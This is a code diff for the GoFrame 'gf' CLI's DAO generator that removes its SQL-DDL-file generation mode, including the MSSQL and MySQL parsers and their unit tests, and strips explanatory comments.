// tablewriter Options
twRenderer = tablewriter.WithRenderer(renderer.NewBlueprint(tw.Rendition{
Borders: tw.Border{Top: tw.Off, Bottom: tw.Off, Left: tw.Off, Right: tw.Off},
Settings: tw.Settings{
@ -150,17 +126,9 @@ var (
})
)
// Dao is the main entry point for the "gen dao" command.
// It dispatches to the appropriate generation mode based on input:
// - SQL file mode (SqlDir is set): generates from DDL files without database connection.
// - Link mode (Link is set): uses a direct database connection string.
// - Config mode: reads database configuration from the application config file.
func (c CGenDao) Dao(ctx context.Context, in CGenDaoInput) (out *CGenDaoOutput, err error) {
in.genItems = newCGenDaoInternalGenItems()
if in.SqlDir != "" {
// SQL file mode: generate from SQL DDL files without database connection.
doGenDaoFromSQLFiles(ctx, in)
} else if in.Link != "" {
if in.Link != "" {
doGenDaoForArray(ctx, -1, in)
} else if g.Cfg().Available(ctx) {
v := g.Cfg().MustGet(ctx, CGenDaoConfig)
@ -179,11 +147,7 @@ func (c CGenDao) Dao(ctx context.Context, in CGenDaoInput) (out *CGenDaoOutput,
return
}
// doGenDaoForArray implements the "gen dao" command for a single configuration entry.
// When index >= 0, it reads configuration from the array at that index.
// When index < 0, it uses the input as-is (for Link mode or single config mode).
// It performs the full generation pipeline: connect to DB, resolve tables,
// apply sharding patterns, and generate dao/table/do/entity files.
// doGenDaoForArray implements the "gen dao" command for configuration array.
func doGenDaoForArray(ctx context.Context, index int, in CGenDaoInput) {
var (
err error
@ -368,10 +332,6 @@ func doGenDaoForArray(ctx context.Context, index int, in CGenDaoInput) {
in.genItems.SetClear(in.Clear)
}
// getImportPartContent analyzes the generated Go source code and builds the import block.
// It automatically detects usage of gtime.Time, time.Time, and gjson.Json in the source,
// and includes the corresponding import paths. Additional custom imports (from TypeMapping
// or FieldMapping) are appended and their dependencies are resolved via "go get" if needed.
func getImportPartContent(ctx context.Context, source string, isDo bool, appendImports []string) string {
var packageImportsArray = garray.NewStrArray()
if isDo {
@ -425,9 +385,6 @@ func getImportPartContent(ctx context.Context, source string, isDo bool, appendI
return packageImportsStr
}
// assignDefaultVar sets the default template variables for datetime strings
// used in generated file headers. The creation timestamp is only included
// when WithTime is enabled in the input configuration.
func assignDefaultVar(view *gview.View, in CGenDaoInternalInput) {
var (
tplCreatedAtDatetimeStr string
@ -442,8 +399,6 @@ func assignDefaultVar(view *gview.View, in CGenDaoInternalInput) {
})
}
// sortFieldKeyForDao returns field names sorted by their Index in the TableField map.
// This preserves the original column order as defined in the database table schema.
func sortFieldKeyForDao(fieldMap map[string]*gdb.TableField) []string {
names := make(map[int]string)
for _, field := range fieldMap {
@ -468,20 +423,6 @@ func sortFieldKeyForDao(fieldMap map[string]*gdb.TableField) []string {
return result
}
// getTableFields retrieves table fields either from the pre-parsed TableFieldsMap (SQL file mode)
// or from the database connection. This abstracts the data source for generation functions.
func getTableFields(ctx context.Context, in CGenDaoInternalInput, tableName string) (map[string]*gdb.TableField, error) {
if in.TableFieldsMap != nil {
if fields, ok := in.TableFieldsMap[tableName]; ok {
return fields, nil
}
return nil, fmt.Errorf("table '%s' not found in SQL files", tableName)
}
return in.DB.TableFields(ctx, tableName)
}
// getTemplateFromPathOrDefault returns the template content from the given file path.
// If the file path is empty or the file has no content, it falls back to the default template.
func getTemplateFromPathOrDefault(filePath string, def string) string {
if filePath != "" {
if contents := gfile.GetContents(filePath); contents != "" {
@ -548,130 +489,3 @@ func filterTablesByPatterns(allTables []string, patterns []string) []string {
}
return result
}
// doGenDaoFromSQLFiles implements the "gen dao" command for SQL file mode.
// It parses DDL SQL files to obtain table structures without requiring a database connection.
func doGenDaoFromSQLFiles(ctx context.Context, in CGenDaoInput) {
if dirRealPath := gfile.RealPath(in.Path); dirRealPath == "" {
mlog.Fatalf(`path "%s" does not exist`, in.Path)
}
if dirRealPath := gfile.RealPath(in.SqlDir); dirRealPath == "" {
mlog.Fatalf(`SQL directory "%s" does not exist`, in.SqlDir)
}
dialect := SQLDialect(strings.ToLower(in.SqlType))
tableNames, tableFieldsMap := ParseSQLFilesFromDir(in.SqlDir, dialect)
removePrefixArray := gstr.SplitAndTrim(in.RemovePrefix, ",")
// Table filtering by name patterns.
if in.Tables != "" {
inputTables := gstr.SplitAndTrim(in.Tables, ",")
var hasPattern bool
for _, t := range inputTables {
if containsWildcard(t) {
hasPattern = true
break
}
}
if hasPattern {
tableNames = filterTablesByPatterns(tableNames, inputTables)
} else {
tableNames = inputTables
}
}
// Table excluding.
if in.TablesEx != "" {
array := garray.NewStrArrayFrom(tableNames)
for _, p := range gstr.SplitAndTrim(in.TablesEx, ",") {
if containsWildcard(p) {
regPattern := "^" + patternToRegex(p) + "$"
for _, v := range array.Clone().Slice() {
if gregex.IsMatchString(regPattern, v) {
array.RemoveValue(v)
}
}
} else {
array.RemoveValue(p)
}
}
tableNames = array.Slice()
}
// merge default typeMapping.
if in.TypeMapping == nil {
in.TypeMapping = defaultTypeMapping
} else {
for key, typeMapping := range defaultTypeMapping {
if _, ok := in.TypeMapping[key]; !ok {
in.TypeMapping[key] = typeMapping
}
}
}
// Process table names (prefix removal, sharding, etc.)
var (
newTableNames = make([]string, len(tableNames))
shardingNewTableSet = gset.NewStrSet()
)
sortedShardingPatterns := make([]string, len(in.ShardingPattern))
copy(sortedShardingPatterns, in.ShardingPattern)
sort.Slice(sortedShardingPatterns, func(i, j int) bool {
return len(sortedShardingPatterns[i]) > len(sortedShardingPatterns[j])
})
for i, tableName := range tableNames {
newTableName := tableName
for _, v := range removePrefixArray {
newTableName = gstr.TrimLeftStr(newTableName, v, 1)
}
if len(sortedShardingPatterns) > 0 {
for _, pattern := range sortedShardingPatterns {
var (
match []string
regPattern = gstr.Replace(pattern, "?", `(.+)`)
err error
)
match, err = gregex.MatchString(regPattern, newTableName)
if err != nil {
mlog.Fatalf(`invalid sharding pattern "%s": %+v`, pattern, err)
}
if len(match) < 2 {
continue
}
newTableName = gstr.Replace(pattern, "?", "")
newTableName = gstr.Trim(newTableName, `_.-`)
if shardingNewTableSet.Contains(newTableName) {
tableNames[i] = ""
break
}
shardingNewTableSet.Add(in.Prefix + newTableName)
break
}
}
newTableName = in.Prefix + newTableName
if tableNames[i] != "" {
newTableNames[i] = newTableName
}
}
tableNames = garray.NewStrArrayFrom(tableNames).FilterEmpty().Slice()
newTableNames = garray.NewStrArrayFrom(newTableNames).FilterEmpty().Slice()
in.genItems.Scale()
internalInput := CGenDaoInternalInput{
CGenDaoInput: in,
DB: nil,
TableNames: tableNames,
NewTableNames: newTableNames,
ShardingTableSet: shardingNewTableSet,
TableFieldsMap: tableFieldsMap,
}
// Generate all files using the same flow as database mode.
generateDao(ctx, internalInput)
generateTable(ctx, internalInput)
generateDo(ctx, internalInput)
generateEntity(ctx, internalInput)
in.genItems.SetClear(in.Clear)
}

View File

@ -13,10 +13,6 @@ import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
// doClear performs cleanup of stale generated files across all generation items.
// It collects all generated file paths from all items, then for each item with
// Clear enabled, removes any .go files in its directories that are NOT in the
// generated file list. This ensures files for dropped/removed tables are cleaned up.
func doClear(items *CGenDaoInternalGenItems) {
var allGeneratedFilePaths = make([]string, 0)
for _, item := range items.Items {
@ -33,10 +29,6 @@ func doClear(items *CGenDaoInternalGenItems) {
}
}
// doClearItem removes stale .go files for a single generation item.
// It scans all storage directories for .go files and deletes any file
// that is not in the allGeneratedFilePaths list (i.e., no longer corresponds
// to an existing database table).
func doClearItem(item CGenDaoInternalGenItem, allGeneratedFilePaths []string) {
var generatedFilePaths = make([]string, 0)
for _, dirPath := range item.StorageDirPaths {

View File

@ -26,9 +26,6 @@ import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
// generateDao generates dao files (index + internal) for all tables in the input.
// It creates the dao directory structure and iterates over each table to generate
// individual dao files via generateDaoSingle.
func generateDao(ctx context.Context, in CGenDaoInternalInput) {
var (
dirPathDao = gfile.Join(in.Path, in.DaoPath)
@ -51,20 +48,21 @@ func generateDao(ctx context.Context, in CGenDaoInternalInput) {
}
}
// generateDaoSingleInput holds all parameters needed to generate dao files for a single table.
type generateDaoSingleInput struct {
CGenDaoInternalInput
TableName string // Original table name as it exists in the database.
NewTableName string // Processed table name after prefix removal and sharding.
DirPathDao string // Directory path for the dao index files.
DirPathDaoInternal string // Directory path for the dao internal implementation files.
IsSharding bool // Whether this table is a sharding table (merged from multiple physical tables).
// TableName specifies the table name of the table.
TableName string
// NewTableName specifies the prefix-stripped or custom edited name of the table.
NewTableName string
DirPathDao string
DirPathDaoInternal string
IsSharding bool
}
// generateDaoSingle generates the dao and model content of given table.
func generateDaoSingle(ctx context.Context, in generateDaoSingleInput) {
// Generating table data preparing.
fieldMap, err := getTableFields(ctx, in.CGenDaoInternalInput, in.TableName)
fieldMap, err := in.DB.TableFields(ctx, in.TableName)
if err != nil {
mlog.Fatalf(`fetching tables fields failed for table "%s": %+v`, in.TableName, err)
}
@ -107,21 +105,14 @@ func generateDaoSingle(ctx context.Context, in generateDaoSingleInput) {
})
}
// generateDaoIndexInput holds parameters for generating the dao index file.
// The index file provides the public API (exported struct and constructor)
// for accessing the DAO, delegating to the internal implementation.
type generateDaoIndexInput struct {
generateDaoSingleInput
TableNameCamelCase string // CamelCase version of the table name (e.g., "UserDetail").
TableNameCamelLowerCase string // camelCase version of the table name (e.g., "userDetail").
ImportPrefix string // Go import path prefix for the dao package.
FileName string // Output file name (without extension).
TableNameCamelCase string
TableNameCamelLowerCase string
ImportPrefix string
FileName string
}
// generateDaoIndex generates the dao index file for a single table.
// The index file is the public-facing dao file that users import directly.
// It will NOT overwrite an existing file unless OverwriteDao is enabled,
// allowing users to customize the index file without losing changes.
func generateDaoIndex(in generateDaoIndexInput) {
path := filepath.FromSlash(gfile.Join(in.DirPathDao, in.FileName+".go"))
// It should add path to result slice whenever it would generate the path file or not.
@ -156,21 +147,15 @@ func generateDaoIndex(in generateDaoIndexInput) {
}
}
// generateDaoInternalInput holds parameters for generating the dao internal file.
// The internal file contains the actual DAO implementation with column definitions
// and is always overwritten on regeneration.
type generateDaoInternalInput struct {
generateDaoSingleInput
TableNameCamelCase string // CamelCase version of the table name.
TableNameCamelLowerCase string // camelCase version of the table name.
ImportPrefix string // Go import path prefix for the dao package.
FileName string // Output file name (without extension).
FieldMap map[string]*gdb.TableField // Map of column name to field metadata.
TableNameCamelCase string
TableNameCamelLowerCase string
ImportPrefix string
FileName string
FieldMap map[string]*gdb.TableField
}
// generateDaoInternal generates the dao internal implementation file for a single table.
// This file is always regenerated (overwritten) and contains the Columns struct definition
// with column name constants and their string value assignments.
func generateDaoInternal(in generateDaoInternalInput) {
var (
ctx = context.Background()

View File

@ -22,10 +22,6 @@ import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
// generateDo generates DO (Data Object) files for all tables.
// DO structs use "any" type for all scalar fields (replacing concrete types),
// enabling flexible query building with the g.Meta `orm:"do:true"` tag.
// Pointer, slice, and map types are preserved as-is.
func generateDo(ctx context.Context, in CGenDaoInternalInput) {
var dirPathDo = filepath.FromSlash(gfile.Join(in.Path, in.DoPath))
in.genItems.AppendDirPath(dirPathDo)
@ -34,7 +30,7 @@ func generateDo(ctx context.Context, in CGenDaoInternalInput) {
in.NoModelComment = false
// Model content.
for i, tableName := range in.TableNames {
fieldMap, err := getTableFields(ctx, in, tableName)
fieldMap, err := in.DB.TableFields(ctx, tableName)
if err != nil {
mlog.Fatalf("fetching tables fields failed for table '%s':\n%v", tableName, err)
}
@ -79,9 +75,6 @@ func generateDo(ctx context.Context, in CGenDaoInternalInput) {
}
}
// generateDoContent renders the DO file content using the template engine.
// It assembles template variables including package imports, struct definition,
// and metadata, then parses the DO template to produce the final file content.
func generateDoContent(
ctx context.Context, in CGenDaoInternalInput, tableName, tableNameCamelCase, structDefine string,
) string {

View File

@ -20,15 +20,12 @@ import (
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
// generateEntity generates entity struct files for all tables.
// Entity structs represent database table rows with concrete Go types,
// including orm tags for field-to-column mapping and json tags for serialization.
func generateEntity(ctx context.Context, in CGenDaoInternalInput) {
var dirPathEntity = gfile.Join(in.Path, in.EntityPath)
in.genItems.AppendDirPath(dirPathEntity)
// Model content.
for i, tableName := range in.TableNames {
fieldMap, err := getTableFields(ctx, in, tableName)
fieldMap, err := in.DB.TableFields(ctx, tableName)
if err != nil {
mlog.Fatalf("fetching tables fields failed for table '%s':\n%v", tableName, err)
}
@ -63,9 +60,6 @@ func generateEntity(ctx context.Context, in CGenDaoInternalInput) {
}
}
// generateEntityContent renders the entity file content using the template engine.
// It assembles template variables and parses the entity template to produce
// the final Go source file content with proper imports and struct definition.
func generateEntityContent(
ctx context.Context, in CGenDaoInternalInput, tableName, tableNameCamelCase, structDefine string, appendImports []string,
) string {

View File

@ -7,25 +7,17 @@
package gendao
type (
// CGenDaoInternalGenItems tracks generation state across multiple configuration entries.
// Each configuration entry (e.g., different database links in the config array)
// gets its own CGenDaoInternalGenItem via Scale(). The index field points to the
// current active item.
CGenDaoInternalGenItems struct {
index int // Index of the current active generation item.
Items []CGenDaoInternalGenItem // List of all generation items, one per config entry.
index int
Items []CGenDaoInternalGenItem
}
// CGenDaoInternalGenItem tracks generated files and directories for a single
// configuration entry. Used by the Clear feature to identify and remove stale files.
CGenDaoInternalGenItem struct {
Clear bool // Whether to clear stale files for this item.
StorageDirPaths []string // Directories where generated files are stored (dao, do, entity, table).
GeneratedFilePaths []string // All file paths generated in this run.
Clear bool
StorageDirPaths []string
GeneratedFilePaths []string
}
)
// newCGenDaoInternalGenItems creates a new generation items tracker with an empty item list.
func newCGenDaoInternalGenItems() *CGenDaoInternalGenItems {
return &CGenDaoInternalGenItems{
index: -1,
@ -33,8 +25,6 @@ func newCGenDaoInternalGenItems() *CGenDaoInternalGenItems {
}
}
// Scale adds a new generation item and advances the index to it.
// Must be called once per configuration entry before generating files.
func (i *CGenDaoInternalGenItems) Scale() {
i.Items = append(i.Items, CGenDaoInternalGenItem{
StorageDirPaths: make([]string, 0),
@ -44,12 +34,10 @@ func (i *CGenDaoInternalGenItems) Scale() {
i.index++
}
// SetClear enables or disables the clear (stale file removal) flag for the current item.
func (i *CGenDaoInternalGenItems) SetClear(clear bool) {
i.Items[i.index].Clear = clear
}
// AppendDirPath records a directory path used for storing generated files in the current item.
func (i *CGenDaoInternalGenItems) AppendDirPath(storageDirPath string) {
i.Items[i.index].StorageDirPaths = append(
i.Items[i.index].StorageDirPaths,
@ -57,7 +45,6 @@ func (i *CGenDaoInternalGenItems) AppendDirPath(storageDirPath string) {
)
}
// AppendGeneratedFilePath records a file path that was generated in the current item.
func (i *CGenDaoInternalGenItems) AppendGeneratedFilePath(generatedFilePath string) {
i.Items[i.index].GeneratedFilePaths = append(
i.Items[i.index].GeneratedFilePaths,

File diff suppressed because it is too large Load Diff

View File

@ -1,211 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"fmt"
"strings"
"github.com/gogf/gf/v2/database/gdb"
)
// MSSQLParser implements SQLParser for SQL Server (T-SQL) DDL.
type MSSQLParser struct{}
// ParseCreateTable parses a single MSSQL CREATE TABLE statement.
func (p *MSSQLParser) ParseCreateTable(stmt string) (string, map[string]*gdb.TableField, error) {
body, _, ok := extractBodyAndTrailing(stmt)
if !ok {
return "", nil, nil
}
parenIdx := strings.Index(stmt, "(")
header := stmt[:parenIdx]
tableName := extractTableName(header)
if tableName == "" {
return "", nil, fmt.Errorf("cannot extract table name from: %s", header)
}
columnDefs := splitColumns(body)
fields := make(map[string]*gdb.TableField)
pkColumns := findPrimaryKeysFromConstraints(columnDefs)
fieldIndex := 0
for _, def := range columnDefs {
def = strings.TrimSpace(def)
if def == "" {
continue
}
firstWord := strings.ToUpper(strings.Fields(def)[0])
if isConstraintKeyword(firstWord) {
continue
}
field, err := p.parseColumnDef(def, fieldIndex)
if err != nil {
continue
}
if field != nil {
fields[field.Name] = field
fieldIndex++
}
}
for _, pkCol := range pkColumns {
if f, ok := fields[pkCol]; ok {
f.Key = "PRI"
}
}
return tableName, fields, nil
}
// ParseAlterTable parses MSSQL ALTER TABLE statements.
func (p *MSSQLParser) ParseAlterTable(stmt string, tables map[string]map[string]*gdb.TableField) error {
return parseAlterTableCommon(stmt, tables, p.parseColumnDef)
}
// ParseComment parses EXEC sp_addextendedproperty to extract column comments.
func (p *MSSQLParser) ParseComment(stmt string, tables map[string]map[string]*gdb.TableField) {
upper := strings.ToUpper(strings.TrimSpace(stmt))
if !strings.Contains(upper, "SP_ADDEXTENDEDPROPERTY") ||
!strings.Contains(upper, "MS_DESCRIPTION") {
return
}
// Extract quoted string values
var values []string
inQuote := false
var current strings.Builder
for i := 0; i < len(stmt); i++ {
ch := stmt[i]
if ch == '\'' {
if inQuote {
if i+1 < len(stmt) && stmt[i+1] == '\'' {
current.WriteByte('\'')
i++
continue
}
values = append(values, current.String())
current.Reset()
inQuote = false
} else {
inQuote = true
}
} else if inQuote {
current.WriteByte(ch)
}
}
if len(values) < 8 {
return
}
var (
comment string
tableName string
columnName string
)
for i := 0; i < len(values)-1; i++ {
switch strings.ToUpper(values[i]) {
case "MS_DESCRIPTION":
comment = values[i+1]
case "TABLE":
tableName = values[i+1]
case "COLUMN":
columnName = values[i+1]
}
}
if tableName != "" && columnName != "" && comment != "" {
if fields, ok := tables[tableName]; ok {
if field, ok := fields[columnName]; ok {
field.Comment = comment
}
}
}
}
// parseColumnDef parses a single MSSQL column definition string into a TableField.
// It handles MSSQL-specific syntax including bracket-quoted identifiers and
// type parameters like varchar(max).
func (p *MSSQLParser) parseColumnDef(def string, index int) (*gdb.TableField, error) {
tokens := mysqlTokenize(def)
if len(tokens) < 2 {
return nil, fmt.Errorf("invalid column definition: %s", def)
}
field := &gdb.TableField{
Index: index,
Name: unquoteIdentifier(tokens[0]),
Null: true,
}
field.Type = tokens[1]
rest := ""
if len(tokens) > 2 {
rest = strings.Join(tokens[2:], " ")
}
if !strings.Contains(field.Type, "(") && strings.HasPrefix(strings.TrimSpace(rest), "(") {
end := strings.Index(rest, ")")
if end >= 0 {
field.Type += rest[:end+1]
rest = strings.TrimSpace(rest[end+1:])
}
}
p.parseColumnAttributes(field, rest)
return field, nil
}
// parseColumnAttributes parses MSSQL column constraint keywords including
// NOT NULL, NULL, PRIMARY KEY, UNIQUE, IDENTITY (auto-increment), and DEFAULT.
func (p *MSSQLParser) parseColumnAttributes(field *gdb.TableField, attrs string) {
words := strings.Fields(attrs)
upperWords := strings.Fields(strings.ToUpper(attrs))
for i := 0; i < len(upperWords); i++ {
switch upperWords[i] {
case "NOT":
if i+1 < len(upperWords) && upperWords[i+1] == "NULL" {
field.Null = false
i++
}
case "NULL":
field.Null = true
case "PRIMARY":
if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
field.Key = "PRI"
i++
}
case "UNIQUE":
if field.Key == "" {
field.Key = "UNI"
}
case "IDENTITY":
field.Extra = "auto_increment"
if i+1 < len(words) && strings.HasPrefix(words[i+1], "(") {
i++
}
default:
if strings.HasPrefix(upperWords[i], "IDENTITY(") || strings.HasPrefix(upperWords[i], "IDENTITY (") {
field.Extra = "auto_increment"
}
case "DEFAULT":
if i+1 < len(words) {
defaultVal, _ := extractDefaultValue("DEFAULT " + strings.Join(words[i+1:], " "))
field.Default = defaultVal
if defaultVal != nil {
i++
}
}
}
}
}

View File

@ -1,72 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_MSSQL_CreateTable_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MSSQLParser{}
sql := `
CREATE TABLE [dbo].[users] (
[id] INT IDENTITY(1,1) NOT NULL,
[name] NVARCHAR(100) NOT NULL,
[email] NVARCHAR(200) NULL,
[balance] DECIMAL(18,2) DEFAULT 0,
[created_at] DATETIME2 NOT NULL DEFAULT GETDATE(),
CONSTRAINT [PK_users] PRIMARY KEY CLUSTERED ([id])
);
EXEC sp_addextendedproperty 'MS_Description', 'User ID', 'SCHEMA', 'dbo', 'TABLE', 'users', 'COLUMN', 'id';
EXEC sp_addextendedproperty 'MS_Description', 'User name', 'SCHEMA', 'dbo', 'TABLE', 'users', 'COLUMN', 'name';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 5)
t.Assert(fields["id"].Extra, "auto_increment")
t.Assert(fields["id"].Null, false)
t.Assert(fields["id"].Key, "PRI")
t.Assert(fields["id"].Comment, "User ID")
t.Assert(fields["name"].Comment, "User name")
t.Assert(fields["name"].Null, false)
t.Assert(fields["email"].Null, true)
})
}
func Test_MSSQL_AlterTable(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MSSQLParser{}
sql := `
CREATE TABLE users (
id INT IDENTITY(1,1) NOT NULL,
name NVARCHAR(100) NOT NULL,
CONSTRAINT PK_users PRIMARY KEY (id)
);
ALTER TABLE users ADD email NVARCHAR(200) NULL;
ALTER TABLE users DROP COLUMN name;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 2) // id, email
_, ok := fields["name"]
t.Assert(ok, false)
t.Assert(fields["email"].Null, true)
})
}

View File

@ -1,199 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"fmt"
"strings"
"github.com/gogf/gf/v2/database/gdb"
)
// MySQLParser implements SQLParser for MySQL/MariaDB/TiDB DDL.
type MySQLParser struct{}
// ParseCreateTable parses a single MySQL CREATE TABLE statement.
func (p *MySQLParser) ParseCreateTable(stmt string) (string, map[string]*gdb.TableField, error) {
body, trailing, ok := extractBodyAndTrailing(stmt)
if !ok {
return "", nil, nil
}
parenIdx := strings.Index(stmt, "(")
header := stmt[:parenIdx]
tableName := extractTableName(header)
if tableName == "" {
return "", nil, fmt.Errorf("cannot extract table name from: %s", header)
}
columnDefs := splitColumns(body)
fields := make(map[string]*gdb.TableField)
pkColumns := findPrimaryKeysFromConstraints(columnDefs)
fieldIndex := 0
for _, def := range columnDefs {
def = strings.TrimSpace(def)
if def == "" {
continue
}
firstWord := strings.ToUpper(strings.Fields(def)[0])
if isConstraintKeyword(firstWord) {
continue
}
field, err := p.parseColumnDef(def, fieldIndex)
if err != nil {
continue
}
if field != nil {
fields[field.Name] = field
fieldIndex++
}
}
for _, pkCol := range pkColumns {
if f, ok := fields[pkCol]; ok {
f.Key = "PRI"
}
}
// Extract inline comments from trailing table options (not used for field generation)
_ = trailing
return tableName, fields, nil
}
// ParseAlterTable parses MySQL ALTER TABLE statements.
func (p *MySQLParser) ParseAlterTable(stmt string, tables map[string]map[string]*gdb.TableField) error {
return parseAlterTableCommon(stmt, tables, p.parseColumnDef)
}
// ParseComment handles MySQL-style comments (inline COMMENT keyword is handled in parseColumnDef).
func (p *MySQLParser) ParseComment(stmt string, tables map[string]map[string]*gdb.TableField) {
// MySQL uses inline COMMENT 'xxx' in column definitions,
// which is already handled by parseColumnDef. No separate COMMENT ON statement.
}
// parseColumnDef parses a single MySQL column definition string into a TableField.
// It extracts the column name, data type (including UNSIGNED modifier), and delegates
// attribute parsing (NULL, DEFAULT, PRIMARY KEY, COMMENT, etc.) to parseColumnAttributes.
func (p *MySQLParser) parseColumnDef(def string, index int) (*gdb.TableField, error) {
tokens := mysqlTokenize(def)
if len(tokens) < 2 {
return nil, fmt.Errorf("invalid column definition: %s", def)
}
field := &gdb.TableField{
Index: index,
Name: unquoteIdentifier(tokens[0]),
Null: true,
}
typeStr := tokens[1]
rest := ""
if len(tokens) > 2 {
rest = strings.Join(tokens[2:], " ")
}
// Check if rest starts with '(' meaning the type params are in rest
if !strings.Contains(typeStr, "(") && strings.HasPrefix(strings.TrimSpace(rest), "(") {
endParen := strings.Index(rest, ")")
if endParen >= 0 {
typeStr += rest[:endParen+1]
rest = strings.TrimSpace(rest[endParen+1:])
}
}
field.Type = typeStr
// Handle UNSIGNED
upperRest := strings.ToUpper(rest)
if strings.HasPrefix(upperRest, "UNSIGNED") {
field.Type += " unsigned"
rest = strings.TrimSpace(rest[8:])
}
p.parseColumnAttributes(field, rest)
return field, nil
}
// parseColumnAttributes parses MySQL column constraint keywords from the attribute string
// following the column type. It handles NOT NULL, NULL, PRIMARY KEY, UNIQUE, AUTO_INCREMENT,
// DEFAULT, COMMENT, and ON UPDATE clauses.
func (p *MySQLParser) parseColumnAttributes(field *gdb.TableField, attrs string) {
words := strings.Fields(attrs)
upperWords := strings.Fields(strings.ToUpper(attrs))
for i := 0; i < len(upperWords); i++ {
switch upperWords[i] {
case "NOT":
if i+1 < len(upperWords) && upperWords[i+1] == "NULL" {
field.Null = false
i++
}
case "NULL":
field.Null = true
case "PRIMARY":
if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
field.Key = "PRI"
i++
}
case "UNIQUE":
if field.Key == "" {
field.Key = "UNI"
}
if i+1 < len(upperWords) && upperWords[i+1] == "KEY" {
i++
}
case "KEY":
if field.Key == "" {
field.Key = "MUL"
}
case "AUTO_INCREMENT":
field.Extra = "auto_increment"
case "DEFAULT":
if i+1 < len(words) {
defaultVal, _ := extractDefaultValue("DEFAULT " + strings.Join(words[i+1:], " "))
field.Default = defaultVal
if defaultVal != nil {
if strings.HasPrefix(words[i+1], "'") {
for j := i + 1; j < len(words); j++ {
if strings.HasSuffix(words[j], "'") {
i = j
break
}
}
} else {
i++
}
}
}
case "COMMENT":
if i+1 < len(words) {
comment := strings.Join(words[i+1:], " ")
comment = strings.TrimSpace(comment)
if len(comment) >= 2 && comment[0] == '\'' && comment[len(comment)-1] == '\'' {
comment = comment[1 : len(comment)-1]
comment = strings.ReplaceAll(comment, "''", "'")
}
field.Comment = comment
return
}
case "ON":
if i+1 < len(upperWords) && upperWords[i+1] == "UPDATE" {
if i+2 < len(upperWords) {
if field.Extra != "" {
field.Extra += ", "
}
field.Extra += "on update " + strings.ToLower(words[i+2])
i += 2
}
}
}
}
}

View File

@ -1,300 +0,0 @@
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package gendao
import (
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_MySQL_CreateTable_Basic(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id BIGINT(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'User ID',
name VARCHAR(100) NOT NULL DEFAULT '' COMMENT 'User name',
email VARCHAR(200) NULL COMMENT 'Email address',
age INT(11) DEFAULT 0,
score DECIMAL(10,2) DEFAULT 0.00,
status TINYINT(1) NOT NULL DEFAULT 1,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NULL ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (id),
UNIQUE KEY uk_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='User table';
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
t.Assert(len(tables), 1)
fields := tables["users"]
t.Assert(len(fields), 8)
// Check id field
t.Assert(fields["id"].Name, "id")
t.Assert(fields["id"].Type, "BIGINT(20) unsigned")
t.Assert(fields["id"].Null, false)
t.Assert(fields["id"].Key, "PRI")
t.Assert(fields["id"].Extra, "auto_increment")
t.Assert(fields["id"].Comment, "User ID")
t.Assert(fields["id"].Index, 0)
// Check name field
t.Assert(fields["name"].Name, "name")
t.Assert(fields["name"].Null, false)
t.Assert(fields["name"].Comment, "User name")
// Check email field
t.Assert(fields["email"].Null, true)
// Check created_at
t.Assert(fields["created_at"].Null, false)
})
}
func Test_MySQL_AlterTable_AddColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(100) NOT NULL,
PRIMARY KEY (id)
);
ALTER TABLE users ADD COLUMN email VARCHAR(200) NULL COMMENT 'Email';
ALTER TABLE users ADD COLUMN age INT DEFAULT 0;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 4)
t.Assert(fields["email"].Name, "email")
t.Assert(fields["email"].Null, true)
t.Assert(fields["email"].Comment, "Email")
t.Assert(fields["age"].Name, "age")
})
}
func Test_MySQL_AlterTable_DropColumn(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
parser := &MySQLParser{}
sql := `
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(100),
old_field VARCHAR(50),
PRIMARY KEY (id)
);
ALTER TABLE users DROP COLUMN old_field;
`
tables := make(map[string]map[string]*gdb.TableField)
err := processSQL(parser, sql, tables)
t.AssertNil(err)
fields := tables["users"]
t.Assert(len(fields), 2)
_, ok := fields["old_field"]
t.Assert(ok, false)
})
